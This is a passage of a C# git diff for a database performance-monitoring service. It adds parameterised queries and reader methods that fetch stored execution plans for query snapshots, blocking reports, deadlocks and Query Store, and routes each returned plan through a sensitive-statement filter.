+        var normalizedRoute = string.IsNullOrWhiteSpace(route) ? null : route.Trim();
+        var where = Where(serverId, normalizedSurface, normalizedRoute);
+
+        void Bind(NpgsqlCommand command)
+        {
+            command.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Timestamp, DateTime.SpecifyKind(sinceUtc, DateTimeKind.Unspecified));
+            if (serverId is not null)
+            {
+                command.Parameters.AddWithValue(serverId.Value);
+            }
+
+            if (normalizedSurface is not null)
+            {
+                command.Parameters.AddWithValue(normalizedSurface);
+            }
+
+            if (normalizedRoute is not null)
+            {
+                command.Parameters.AddWithValue(normalizedRoute);
+            }
+        }
+
+        var summarySql = $@"
+SELECT r.surface, r.route, r.outcome, count(*)::bigint
+FROM collect.slow_reads AS r
+WHERE {where}
+GROUP BY r.surface, r.route, r.outcome
+ORDER BY count(*) DESC, r.surface, r.route, r.outcome";
+
+        var readsSql = $@"
+SELECT r.slow_read_id, r.read_time, r.surface, r.route, r.outcome, r.total_ms, r.server_id, s.server_name,
+       r.window_start, r.window_end, r.arguments::text, r.arguments_truncated, r.source, r.source_reason,
+       r.statements::text, r.statement_count, r.statements_truncated, r.error_class, r.row_count
+FROM collect.slow_reads AS r
+LEFT JOIN servers AS s ON s.server_id = r.server_id
+WHERE {where}
+ORDER BY r.read_time DESC, r.slow_read_id DESC
+LIMIT {limit.ToString(System.Globalization.CultureInfo.InvariantCulture)}";
+
+        var summary = new List<SummaryRow>();
+        await using (var command = postgres.CreateCommand(summarySql))
+        {
+            command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            Bind(command);
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                summary.Add(new SummaryRow(reader.GetString(0), reader.GetString(1), reader.GetString(2), reader.GetInt64(3)));
+            }
+        }
+
+        var reads = new List<SlowReadRow>();
+        await using (var command = postgres.CreateCommand(readsSql))
+        {
+            command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            Bind(command);
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                reads.Add(new SlowReadRow(
+                    reader.GetInt64(0),
+                    reader.GetDateTime(1),
+                    reader.GetString(2),
+                    reader.GetString(3),
+                    reader.GetString(4),
+                    reader.GetInt32(5),
+                    reader.IsDBNull(6) ? null : reader.GetInt32(6),
+                    reader.IsDBNull(7) ? null : reader.GetString(7),
+                    reader.IsDBNull(8) ? null : reader.GetDateTime(8),
+                    reader.IsDBNull(9) ? null : reader.GetDateTime(9),
+                    JsonNode.Parse(reader.GetString(10)),
+                    reader.GetBoolean(11),
+                    reader.IsDBNull(12) ? null : reader.GetString(12),
+                    reader.IsDBNull(13) ? null : reader.GetString(13),
+                    JsonNode.Parse(reader.GetString(14)) as JsonArray ?? new JsonArray(),
+                    reader.GetInt32(15),
+                    reader.GetBoolean(16),
+                    reader.IsDBNull(17) ? null : reader.GetString(17),
+                    reader.IsDBNull(18) ? null : reader.GetInt64(18)));
+            }
+        }
+
+        return new Page(reads, summary);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoredPlanReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoredPlanReader.cs
index 2480a43928..4321713a04 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoredPlanReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoredPlanReader.cs
@@ -7,10 +7,12 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
 using NpgsqlTypes;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
@@ -48,6 +50,13 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 /// sweep on its own connection. So each stored-plan read here tries the collected content first and the
 /// backlog second, and a caller sees one answer either way. Without this half nothing a user can see changes
 /// — the recording half alone just moves the blind spot into a table.</para>
+///
+/// <para><b>The statement filter (#4348, Layer 1).</b> Every public read here returns its plan through
+/// <see cref="SensitiveStatements.Xml(string?, int)"/>, at this one seam, so a tool that reads a stored plan gets the filtered
+/// plan whatever it does next (return it, cut it, analyse it). Each public method has a private <c>...RawAsync</c> twin that
+/// holds the read itself; nothing outside this file reads a plan column (the source scan pins that). Each read takes an
+/// optional <c>maxOutputChars</c>: a caller that will cut the plan at that length (the <c>get_*_plan_xml</c> tools) says so,
+/// and the filter stops there instead of walking a 20 MB plan to its end.</para>
 /// </summary>
 internal static class DarlingStoredPlanReader
 {
@@ -114,6 +123,222 @@ ORDER BY collection_time DESC
         LIMIT 1
         """;
 
+    /// <summary>
+    /// The stored estimated execution plan for one Active Queries snapshot row, keyed by its natural key
+    /// (server, collection_time, session_id, request_id). BYTE-EQUAL to the Viewer's
+    /// <c>ViewerDataService.QuerySnapshotEstimatedPlanSql</c> (a test pins the equality), so the desktop and
+    /// the web fetch the same row the same way. <c>COALESCE(request_id, 0)</c> matches a row collected with
+    /// no request_id, which the grids carry as 0. $1 server_id, $2 collection_time (naive UTC,
+    /// microsecond-exact), $3 session_id, $4 request_id.
+    /// </summary>
+    public const string QuerySnapshotPlanSql = """
+        SELECT query_plan
+        FROM query_snapshots
+        WHERE server_id = $1
+        AND   collection_time = $2
+        AND   session_id = $3
+        AND   COALESCE(request_id, 0) = $4
+        AND   query_plan IS NOT NULL
+        LIMIT 1
+        """;
+
+    /// <summary>The live/actual plan twin of <see cref="QuerySnapshotPlanSql"/>; byte-equal to the Viewer's
+    /// <c>ViewerDataService.QuerySnapshotLivePlanSql</c>.</summary>
+    public const string QuerySnapshotLivePlanSql = """
+        SELECT live_query_plan
+        FROM query_snapshots
+        WHERE server_id = $1
+        AND   collection_time = $2
+        AND   session_id = $3
+        AND   COALESCE(request_id, 0) = $4
+        AND   live_query_plan IS NOT NULL
+        LIMIT 1
+        """;
+
+    /// <summary>
+    /// The plan the BLOCKED process of one blocked-process report ran under (#5236), by the report's own key as
+    /// get_blocking lists it: (server, event_time, both spids, both ecids). The plan is the V7 inline text column the
+    /// collector stamps with the report, best-effort (a plan that had left the cache by then is NULL), and no plan
+    /// dimension or backlog is involved. The presence predicate is <c>IS NOT NULL AND &lt;&gt; ''</c> on purpose and
+    /// is the SAME predicate the list's <c>has_blocked_plan</c> flag uses, so a flagged row can never answer "no plan".
+    /// <para>
+    /// No key makes the report unique, so the same event can be stored as more than one copy, and only some copies carry
+    /// a plan. This takes the EARLIEST copy that has one, ties broken by <c>blocked_report_id</c>: the collector resolves
+    /// the plan from the live plan cache when it collects the report, so the copy collected nearest the event is the
+    /// one whose plan was most likely still cached. It is not <c>DESC</c>. $7 is the
+    /// <see cref="EventWindowFloor"/> for the event_time, a partition-column bound with no upper limit, so a
+    /// late-collected report is still found while the chunks older than the event are never opened.
+    /// </para>
+    /// <para>
+    /// The answer is per EVENT, while the list's presence flag is per stored copy. Two copies of one event can carry
+    /// different plans (a recompile between the two collections), and then both rows show a button and both open the
+    /// earlier copy's plan, where the desktop viewer shows each row its own copy's plan. The web page gives those rows
+    /// one panel key, so opening one opens both. That is accepted: the earlier copy is the one whose plan was most likely
+    /// still cached when the event ran, and nothing here tells the two copies apart.
+    /// </para>
+    /// <para>
+    /// An Azure master target collects several databases under one server_id, and each database numbers its own
+    /// sessions, so two databases' reports can share every other part of the key. The optional $8 narrows the read to the
+    /// row's own database, in the same NULL-or-equal form as the other optional database filters in this class; a caller
+    /// that sends none gets the answer it got before the filter existed.
+    /// </para>
+    /// $1 server_id, $2 event_time (naive UTC, microsecond-exact), $3 blocked_spid, $4 blocked_ecid, $5 blocking_spid,
+    /// $6 blocking_ecid, $7 collection_time floor, $8 database_name (NULL = no database filter). Byte-equal to
+    /// <see cref="BlockingPlanSql"/> except for the column.
+    /// </summary>
+    public const string BlockedPlanSql = """
+        SELECT blocked_query_plan_xml
+        FROM blocked_process_reports
+        WHERE server_id = $1
+        AND   event_time = $2
+        AND   blocked_spid = $3
+        AND   blocked_ecid = $4
+        AND   blocking_spid = $5
+        AND   blocking_ecid = $6
+        AND   collection_time >= $7
+        AND   ($8::text IS NULL OR database_name = $8)
+        AND   blocked_query_plan_xml IS NOT NULL
+        AND   blocked_query_plan_xml <> ''
+        ORDER BY collection_time, blocked_report_id
+        LIMIT 1
+        """;
+
+    /// <summary>The BLOCKING process's plan for the same report key: <see cref="BlockedPlanSql"/> over
+    /// <c>blocking_query_plan_xml</c> (a test pins that the two differ only in the column).</summary>
+    public const string BlockingPlanSql = """
+        SELECT blocking_query_plan_xml
+        FROM blocked_process_reports
+        WHERE server_id = $1
+        AND   event_time = $2
+        AND   blocked_spid = $3
+        AND   blocked_ecid = $4
+        AND   blocking_spid = $5
+        AND   blocking_ecid = $6
+        AND   collection_time >= $7
+        AND   ($8::text IS NULL OR database_name = $8)
+        AND   blocking_query_plan_xml IS NOT NULL
+        AND   blocking_query_plan_xml <> ''
+        ORDER BY collection_time, blocked_report_id
+        LIMIT 1
+        """;
+
+    /// <summary>
+    /// The victim's plan for one deadlock (#5236), by the row's own (collection_time, deadlock_time) as get_deadlocks
+    /// lists them. That pair is NOT unique (no key enforces it, and one monitor pass can report two deadlocks whose
+    /// stamps are equal to the millisecond), so the optional <c>victim_process_id</c> narrows it to the one the row
+    /// names, and the optional <c>database_name</c> to the row's own database (the same reason, and the same
+    /// NULL-or-equal form, as <see cref="BlockedPlanSql"/>'s $8). The presence predicate matches the list's
+    /// <c>has_victim_plan</c> flag (see <see cref="BlockedPlanSql"/>). A NULL deadlock_time never lists, so it is never
+    /// asked for here.
+    /// <para>
+    /// One row, two columns. <c>victim_plan_xml</c> is the plan of the lowest <c>deadlock_id</c> among the matching
+    /// deadlocks that captured one (NULL when none did). <c>victim_count</c> counts the distinct victims among ALL the
+    /// matching deadlocks, whether or not each captured a plan, so a twin that captured nothing still shows. When no
+    /// victim is sent and the count is above one, the stamps do not say which deadlock was meant, and the plan of the
+    /// wrong deadlock is worse than none, so <see cref="GetDeadlockVictimPlanXmlAsync"/> reports the read as ambiguous
+    /// and takes none. Copies of one deadlock name the same victim (count 1), and the lowest <c>deadlock_id</c> that
+    /// captured a plan answers; a copy without one never turns that into "not captured".
+    /// </para>
+    /// $1 server_id, $2 collection_time, $3 deadlock_time (both naive UTC, microsecond-exact), $4 victim_process_id
+    /// (NULL = no victim filter), $5 database_name (NULL = no database filter).
+    /// </summary>
+    public const string DeadlockVictimPlanSql = """
+        WITH twins AS
+        (
+            SELECT deadlock_id, victim_process_id, victim_query_plan_xml
+            FROM deadlocks
+            WHERE server_id = $1
+            AND   collection_time = $2
+            AND   deadlock_time = $3
+            AND   ($4::text IS NULL OR victim_process_id = $4)
+            AND   ($5::text IS NULL OR database_name = $5)
+        )
+        SELECT
+            (
+                SELECT victim_query_plan_xml
+                FROM twins
+                WHERE victim_query_plan_xml IS NOT NULL
+                AND   victim_query_plan_xml <> ''
+                ORDER BY deadlock_id
+                LIMIT 1
+            ) AS victim_plan_xml,
+            (
+                SELECT count(DISTINCT coalesce(victim_process_id, ''))
+                FROM twins
+            ) AS victim_count
+        """;
+
+    /// <summary>
+    /// The Query Store plan for ONE plan_id as it is stored since #2210: the fact rows carry no plan text (the
+    /// collector ships a NULL placeholder), and a plan lives ONCE in <c>query_plan_dim</c>, reached through
+    /// <c>collect.query_store_plan_map</c> on its primary key (server_id, database_name, plan_id). Two index
+    /// lookups, no fact-table scan: a plan_id belongs to exactly one query_id in its database, so the fact
+    /// table adds nothing once the plan_id is known.
+    /// <para>
+    /// The dimension join is a LEFT join on purpose, so the read distinguishes the two ways of coming back
+    /// empty. NO row means the map has never heard of the plan (a pre-cutover plan, or one not yet fetched),
+    /// and the caller falls back to the inline column. A row whose columns are NULL means the map knows the
+    /// plan and has nothing to show: a NULL digest is the content-less marker for a plan the engine could
+    /// not persist, and a digest whose dimension row the dimension GC removed reads the same. That plan is
+    /// absent, and the inline column is not asked, because a post-cutover plan has nothing there.
+    /// </para>
+    /// The dimension row carries text, gzip bytes or (for the oldest rows) text only, so both columns come
+    /// back and the C# side resolves text-else-gz. $1 server_id, $2 database_name, $3 plan_id.
+    /// </summary>
+    public const string QueryStorePlanViaMapSql = """
+        SELECT d.query_plan_xml, d.query_plan_gz
+        FROM collect.query_store_plan_map AS m
+        LEFT JOIN query_plan_dim AS d
+          ON d.digest = m.digest
+        WHERE m.server_id = $1
+        AND   m.database_name = $2
+        AND   m.plan_id = $3
+        """;
+
+    /// <summary>
+    /// The plan_ids a query ran under in the last <see cref="UnpinnedLookbackDays"/> days, newest first (ties
+    /// broken by plan_id so the answer is deterministic). Used when the caller gave no plan_id: each candidate
+    /// is then resolved through <see cref="QueryStorePlanViaMapSql"/>. The time bound is what keeps this off
+    /// the cold history: <c>collection_time</c> is the hypertable's partitioning column, so chunk pruning keeps
+    /// the read on the newest chunks, and <c>idx_query_store_stats_server_db_query_plan_time</c> (server_id,
+    /// database_name, query_id, plan_id, collection_time) answers it there. That index covers the uncompressed
+    /// chunks only (a compressed chunk keeps an empty index shell, see PgTableTuning), so an unbounded read
+    /// would decompress every batch of the server. $1 server_id, $2 database_name, $3 query_id, $4 the
+    /// lower bound on collection_time.
+    /// </summary>
+    public const string QueryStorePlanCandidatesSql = """
+        SELECT plan_id, MAX(collection_time) AS last_collected
+        FROM query_store_stats
+        WHERE server_id = $1
+        AND   database_name = $2
+        AND   query_id = $3
+        AND   collection_time >= $4
+        AND   plan_id IS NOT NULL
+        GROUP BY plan_id
+        ORDER BY last_collected DESC, plan_id DESC
+        """;
+
+    /// <summary>
+    /// The same candidates with no time bound. Run ONCE, and only when the bounded pass resolved nothing: a
+    /// query that has not run in <see cref="UnpinnedLookbackDays"/> days still has a plan worth showing, and
+    /// this is the old behaviour for it. $1 server_id, $2 database_name, $3 query_id.
+    /// </summary>
+    public const string QueryStorePlanCandidatesUnboundedSql = """
+        SELECT plan_id, MAX(collection_time) AS last_collected
+        FROM query_store_stats
+        WHERE server_id = $1
+        AND   database_name = $2
+        AND   query_id = $3
+        AND   plan_id IS NOT NULL
+        GROUP BY plan_id
+        ORDER BY last_collected DESC, plan_id DESC
+        """;
+
+    /// <summary>
+    /// How far back the unpinned Query Store plan read looks before it gives up on the newest chunks.
+    /// </summary>
+    public const int UnpinnedLookbackDays = 7;
+
     /// <summary>
     /// The stored execution plan XML for a query (query_stats), or null when no plan was captured for the
     /// key. Read as text — no length cap (the collector stored the whole plan; the MCP tool truncates for
@@ -121,7 +346,14 @@ LIMIT 1
     /// </summary>
     public static async Task<string?> GetQueryStatsPlanXmlByHashAsync(
         NpgsqlDataSource postgres, int serverId, string queryHash, string? databaseName,
-        CancellationToken cancellationToken = default)
+        int maxOutputChars = int.MaxValue, CancellationToken cancellationToken = default) =>
+        SensitiveStatements.Xml(
+            await GetQueryStatsPlanXmlByHashRawAsync(postgres, serverId, queryHash, databaseName, cancellationToken),
+            maxOutputChars);
+
+    private static async Task<string?> GetQueryStatsPlanXmlByHashRawAsync(
+        NpgsqlDataSource postgres, int serverId, string queryHash, string? databaseName,
+        CancellationToken cancellationToken)
     {
         if (string.IsNullOrEmpty(queryHash))
         {
@@ -160,7 +392,14 @@ that only ever held one document. */
     /// </summary>
     public static async Task<string?> GetProcedurePlanXmlBySqlHandleAsync(
         NpgsqlDataSource postgres, int serverId, string sqlHandle,
-        CancellationToken cancellationToken = default)
+        int maxOutputChars = int.MaxValue, CancellationToken cancellationToken = default) =>
+        SensitiveStatements.Xml(
+            await GetProcedurePlanXmlBySqlHandleRawAsync(postgres, serverId, sqlHandle, cancellationToken),
+            maxOutputChars);
+
+    private static async Task<string?> GetProcedurePlanXmlBySqlHandleRawAsync(
+        NpgsqlDataSource postgres, int serverId, string sqlHandle,
+        CancellationToken cancellationToken)
     {
         if (string.IsNullOrEmpty(sqlHandle))
         {
@@ -190,23 +429,252 @@ that only ever held one document. */
     }
 
     /// <summary>
-    /// The stored Query Store execution plan for a query (query_store_stats.query_plan_text — Query Store
-    /// already stores plans as ShowPlanXML text), or null when no plan text was captured for the key.
+    /// The stored Query Store execution plan for a query, or null when none was captured for the key. See
+    /// <see cref="ResolveQueryStorePlanAsync"/> for how the plan is found; this keeps only the text.
     /// </summary>
     public static async Task<string?> GetQueryStorePlanTextAsync(
         NpgsqlDataSource postgres, int serverId, string databaseName, long queryId, long? planId,
-        CancellationToken cancellationToken = default)
+        DateTime? asOf = null, int maxOutputChars = int.MaxValue, CancellationToken cancellationToken = default)
+    {
+        var read = await ResolveQueryStorePlanAsync(postgres, serverId, databaseName, queryId, planId, asOf, maxOutputChars, cancellationToken);
+        return read?.PlanXml;
+    }
+
+    /// <summary>
+    /// The stored Query Store plan for a query and the plan_id it belongs to, or null when none was captured.
+    /// Since #2210 a plan is stored once in <c>query_plan_dim</c> and reached through
+    /// <c>collect.query_store_plan_map</c> (<see cref="QueryStorePlanViaMapSql"/>); rows written before that
+    /// carry the text inline on <c>query_store_stats.query_plan_text</c> (<see cref="QueryStorePlanTextSql"/>).
+    /// <para>
+    /// <b>Pinned</b> (a plan_id is given): the map is read by its primary key. The inline column is read ONLY
+    /// when the map has no row for that plan_id. A map row without content (a NULL-digest marker, or a digest
+    /// whose dimension row is gone) is absent, with no second look.
+    /// </para>
+    /// <para>
+    /// <b>Unpinned</b>: the plan_ids the query ran under in the last <see cref="UnpinnedLookbackDays"/> days
+    /// (counted back from <paramref name="asOf"/>, default now), newest first, each resolved as above until one
+    /// has content. Only if nothing resolves inside the bound does ONE unbounded pass run, for a query that
+    /// has not run for longer than that. The bound is what keeps the read on the newest hypertable chunks; see
+    /// <see cref="QueryStorePlanCandidatesSql"/>.
+    /// </para>
+    /// </summary>
+    public static async Task<QueryStorePlanRead?> ResolveQueryStorePlanAsync(
+        NpgsqlDataSource postgres, int serverId, string databaseName, long queryId, long? planId,
+        DateTime? asOf = null, int maxOutputChars = int.MaxValue, CancellationToken cancellationToken = default)
+    {
+        var read = await ResolveQueryStorePlanRawAsync(postgres, serverId, databaseName, queryId, planId, asOf, cancellationToken);
+        return read is null ? null : read with { PlanXml = SensitiveStatements.Xml(read.PlanXml, maxOutputChars) ?? read.PlanXml };
+    }
+
+    private static async Task<QueryStorePlanRead?> ResolveQueryStorePlanRawAsync(
+        NpgsqlDataSource postgres, int serverId, string databaseName, long queryId, long? planId,
+        DateTime? asOf, CancellationToken cancellationToken)
+    {
+        databaseName ??= "";
+
+        if (planId is long pinned)
+        {
+            var plan = await ReadQueryStorePlanByIdRawAsync(postgres, serverId, databaseName, queryId, pinned, cancellationToken);
+            return plan is null ? null : new QueryStorePlanRead(plan, pinned);
+        }
+
+        var since = DateTime.SpecifyKind((asOf ?? DateTime.UtcNow).AddDays(-UnpinnedLookbackDays), DateTimeKind.Unspecified);
+        var tried = new HashSet<long>();
+        foreach (var candidate in await ReadCandidatePlanIdsAsync(postgres, QueryStorePlanCandidatesSql, serverId, databaseName, queryId, since, cancellationToken))
+        {
+            tried.Add(candidate);
+            var plan = await ReadQueryStorePlanByIdRawAsync(postgres, serverId, databaseName, queryId, candidate, cancellationToken);
+            if (plan is not null)
+            {
+                return new QueryStorePlanRead(plan, candidate);
+            }
+        }
+
+        foreach (var candidate in await ReadCandidatePlanIdsAsync(postgres, QueryStorePlanCandidatesUnboundedSql, serverId, databaseName, queryId, since: null, cancellationToken))
+        {
+            if (!tried.Add(candidate))
+            {
+                continue;
+            }
+
+            var plan = await ReadQueryStorePlanByIdRawAsync(postgres, serverId, databaseName, queryId, candidate, cancellationToken);
+            if (plan is not null)
+            {
+                return new QueryStorePlanRead(plan, candidate);
+            }
+        }
+
+        return null;
+    }
+
+    /// <summary>
+    /// One plan_id's plan: the map by its primary key, then (only when the map has no row) the inline column.
+    /// </summary>
+    public static async Task<string?> ReadQueryStorePlanByIdAsync(
+        NpgsqlDataSource postgres, int serverId, string databaseName, long queryId, long planId,
+        int maxOutputChars = int.MaxValue, CancellationToken cancellationToken = default) =>
+        SensitiveStatements.Xml(
+            await ReadQueryStorePlanByIdRawAsync(postgres, serverId, databaseName, queryId, planId, cancellationToken),
+            maxOutputChars);
+
+    private static async Task<string?> ReadQueryStorePlanByIdRawAsync(
+        NpgsqlDataSource postgres, int serverId, string databaseName, long queryId, long planId,
+        CancellationToken cancellationToken)
     {
+        await using (var viaMap = postgres.CreateCommand(QueryStorePlanViaMapSql))
+        {
+            viaMap.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            viaMap.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            viaMap.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName ?? "" });
+            viaMap.Parameters.Add(new NpgsqlParameter<long> { TypedValue = planId });
+            await using var reader = await viaMap.ExecuteReaderAsync(cancellationToken);
+            if (await reader.ReadAsync(cancellationToken))
+            {
+                /* The map knows this plan_id: whatever it holds is the answer, including nothing. */
+                return PayloadDimensions.ResolveContent(
+                    reader.IsDBNull(0) ? null : reader.GetString(0),
+                    reader.IsDBNull(1) ? null : reader.GetFieldValue<byte[]>(1));
+            }
+        }
+
         await using var command = postgres.CreateCommand(QueryStorePlanTextSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
         command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName ?? "" });
         command.Parameters.Add(new NpgsqlParameter<long> { TypedValue = queryId });
-        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = (object?)planId ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = planId });
         var result = await command.ExecuteScalarAsync(cancellationToken);
         return result is string s ? s : null;
     }
 
+    private static async Task<List<long>> ReadCandidatePlanIdsAsync(
+        NpgsqlDataSource postgres, string sql, int serverId, string databaseName, long queryId, DateTime? since,
+        CancellationToken cancellationToken)
+    {
+        var planIds = new List<long>();
+        await using var command = postgres.CreateCommand(sql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName });
+        command.Parameters.Add(new NpgsqlParameter<long> { TypedValue = queryId });
+        if (since is DateTime bound)
+        {
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = bound });
+        }
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            planIds.Add(reader.GetInt64(0));
+        }
+
+        return planIds;
+    }
+
+    /// <summary>
+    /// The stored plan for one Active Queries snapshot row (<see cref="QuerySnapshotPlanSql"/> /
+    /// <see cref="QuerySnapshotLivePlanSql"/>), or null when that request captured none.
+    /// <paramref name="collectionTimeUtc"/> must be the row's collection_time exactly — naive UTC, with the
+    /// microseconds the store keeps — and is relabelled <c>Unspecified</c> here so Npgsql binds it as a
+    /// <c>timestamp</c> and not a <c>timestamptz</c> (the #1969 trap).
+    /// </summary>
+    public static async Task<string?> GetQuerySnapshotPlanXmlAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime collectionTimeUtc, int sessionId, int requestId, bool live,
+        int maxOutputChars = int.MaxValue, CancellationToken cancellationToken = default) =>
+        SensitiveStatements.Xml(
+            await GetQuerySnapshotPlanXmlRawAsync(postgres, serverId, collectionTimeUtc, sessionId, requestId, live, cancellationToken),
+            maxOutputChars);
+
+    private static async Task<string?> GetQuerySnapshotPlanXmlRawAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime collectionTimeUtc, int sessionId, int requestId, bool live,
+        CancellationToken cancellationToken)
+    {
+        await using var command = postgres.CreateCommand(live ? QuerySnapshotLivePlanSql : QuerySnapshotPlanSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(collectionTimeUtc, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = sessionId });
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = requestId });
+        var result = await command.ExecuteScalarAsync(cancellationToken);
+        return result is string s ? s : null;
+    }
+
+    /// <summary>
+    /// The stored plan of one side of one blocked-process report (<see cref="BlockedPlanSql"/> /
+    /// <see cref="BlockingPlanSql"/>), or null when no copy of that report carries a plan for that side.
+    /// <paramref name="eventTimeUtc"/> must be the row's event_time exactly — naive UTC, with the microseconds the
+    /// store keeps — and is relabelled <c>Unspecified</c> by the binder so it is a <c>timestamp</c> and not a
+    /// <c>timestamptz</c> (the #1969 trap). The ecids and spids are the row's own: both sides of the key, whichever
+    /// plan is asked for. A null or empty <paramref name="databaseName"/> adds no database filter.
+    /// </summary>
+    public static async Task<string?> GetBlockingPlanXmlAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime eventTimeUtc, int blockedSpid, int blockedEcid,
+        int blockingSpid, int blockingEcid, bool blockingSide, string? databaseName = null, int maxOutputChars = int.MaxValue,
+        CancellationToken cancellationToken = default) =>
+        SensitiveStatements.Xml(
+            await GetBlockingPlanXmlRawAsync(
+                postgres, serverId, eventTimeUtc, blockedSpid, blockedEcid, blockingSpid, blockingEcid, blockingSide, databaseName, cancellationToken),
+            maxOutputChars);
+
+    private static async Task<string?> GetBlockingPlanXmlRawAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime eventTimeUtc, int blockedSpid, int blockedEcid,
+        int blockingSpid, int blockingEcid, bool blockingSide, string? databaseName, CancellationToken cancellationToken)
+    {
+        await using var command = postgres.CreateCommand(blockingSide ? BlockingPlanSql : BlockedPlanSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        DarlingMcpReadParameters.AddInt(command, serverId);
+        DarlingMcpReadParameters.AddTimestamp(command, eventTimeUtc);
+        DarlingMcpReadParameters.AddInt(command, blockedSpid);
+        DarlingMcpReadParameters.AddInt(command, blockedEcid);
+        DarlingMcpReadParameters.AddInt(command, blockingSpid);
+        DarlingMcpReadParameters.AddInt(command, blockingEcid);
+        DarlingMcpReadParameters.AddTimestamp(command, EventWindowFloor.For(eventTimeUtc));
+        DarlingMcpReadParameters.AddNullableText(command, string.IsNullOrEmpty(databaseName) ? null : databaseName);
+        var result = await command.ExecuteScalarAsync(cancellationToken);
+        return result is string s ? s : null;
+    }
+
+    /// <summary>
+    /// The stored victim plan of one deadlock (<see cref="DeadlockVictimPlanSql"/>), with a null plan when that deadlock
+    /// captured none, or <see cref="DeadlockVictimPlanRead.Ambiguous"/> when no victim was named and the deadlocks the
+    /// stamps match name more than one victim. Both times are the row's own, exactly: naive UTC with the store's
+    /// microseconds. A null or empty <paramref name="victimProcessId"/> adds no victim filter, and a null or empty
+    /// <paramref name="databaseName"/> no database filter.
+    /// </summary>
+    public static async Task<DeadlockVictimPlanRead> GetDeadlockVictimPlanXmlAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime collectionTimeUtc, DateTime deadlockTimeUtc, string? victimProcessId,
+        string? databaseName = null, int maxOutputChars = int.MaxValue, CancellationToken cancellationToken = default)
+    {
+        var read = await GetDeadlockVictimPlanXmlRawAsync(postgres, serverId, collectionTimeUtc, deadlockTimeUtc, victimProcessId, databaseName, cancellationToken);
+        return read with { PlanXml = SensitiveStatements.Xml(read.PlanXml, maxOutputChars) };
+    }
+
+    private static async Task<DeadlockVictimPlanRead> GetDeadlockVictimPlanXmlRawAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime collectionTimeUtc, DateTime deadlockTimeUtc, string? victimProcessId,
+        string? databaseName, CancellationToken cancellationToken)
+    {
+        await using var command = postgres.CreateCommand(DeadlockVictimPlanSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        DarlingMcpReadParameters.AddInt(command, serverId);
+        DarlingMcpReadParameters.AddTimestamp(command, collectionTimeUtc);
+        DarlingMcpReadParameters.AddTimestamp(command, deadlockTimeUtc);
+        DarlingMcpReadParameters.AddNullableText(command, string.IsNullOrEmpty(victimProcessId) ? null : victimProcessId);
+        DarlingMcpReadParameters.AddNullableText(command, string.IsNullOrEmpty(databaseName) ? null : databaseName);
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (!await reader.ReadAsync(cancellationToken))
+        {
+            return new DeadlockVictimPlanRead(null, false);
+        }
+
+        var plan = reader.IsDBNull(0) ? null : reader.GetString(0);
+        var victims = reader.GetInt64(1);
+        /* Two or more distinct victims are only reachable when no victim was sent (a sent victim is in the WHERE), and they
+           are deadlocks the stamps cannot tell apart, so neither plan is taken, whether or not each captured one. */
+        return victims > 1
+            ? new DeadlockVictimPlanRead(null, true)
+            : new DeadlockVictimPlanRead(plan, false);
+    }
+
     /// <summary>
     /// Executes a one-column backlog read (#3392). Plain text, never gzip: the backlog holds the content the
     /// sweep fetched, and it does not route through the plan dimension — a capped row produced no dim row to
@@ -235,3 +703,11 @@ that only ever held one document. */
             reader.IsDBNull(1) ? null : reader.GetFieldValue<byte[]>(1));
     }
 }
+
+/// <summary>A Query Store plan and the plan_id it was stored under.</summary>
+internal sealed record QueryStorePlanRead(string PlanXml, long PlanId);
+
+/// <summary>The victim-plan read's answer (#5236): the plan, or null when no deadlock the key matches captured one.
+/// <see cref="Ambiguous"/> is true, with no plan, when no victim was named and the deadlocks that share both stamps name
+/// more than one victim (whether or not each captured a plan), so the stamps do not say which one was meant.</summary>
